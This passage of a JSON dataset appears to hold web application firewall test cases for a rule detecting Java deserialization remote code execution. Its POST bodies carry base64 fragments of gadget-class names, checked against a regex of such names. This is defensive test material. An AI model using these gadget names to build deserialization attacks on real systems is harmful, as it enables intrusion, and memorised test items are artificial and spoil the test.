false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword Bmb3JjbG9zdXJl" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"Bmb3JjbG9zdXJl\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword Bmb3JjbG9zdXJl" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">Bmb3JjbG9zdXJl</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword Bmb3JjbG9zdXJl" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">Bmb3JjbG9zdXJl</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword Bmb3JjbG9zdXJl" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=Bmb3JjbG9zdXJl" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword Bmb3JjbG9zdXJl" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"Bmb3JjbG9zdXJl\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword Bmb3JjbG9zdXJl" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"Bmb3JjbG9zdXJl\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword Bmb3JjbG9zdXJl" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=aW5zdGFudGlhdGVmYWN0b3J5" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword aW5zdGFudGlhdGVmYWN0b3J5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "aW5zdGFudGlhdGVmYWN0b3J5=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword aW5zdGFudGlhdGVmYWN0b3J5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"aW5zdGFudGlhdGVmYWN0b3J5\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword aW5zdGFudGlhdGVmYWN0b3J5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">aW5zdGFudGlhdGVmYWN0b3J5</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword aW5zdGFudGlhdGVmYWN0b3J5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">aW5zdGFudGlhdGVmYWN0b3J5</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword aW5zdGFudGlhdGVmYWN0b3J5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=aW5zdGFudGlhdGVmYWN0b3J5" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword aW5zdGFudGlhdGVmYWN0b3J5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"aW5zdGFudGlhdGVmYWN0b3J5\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": 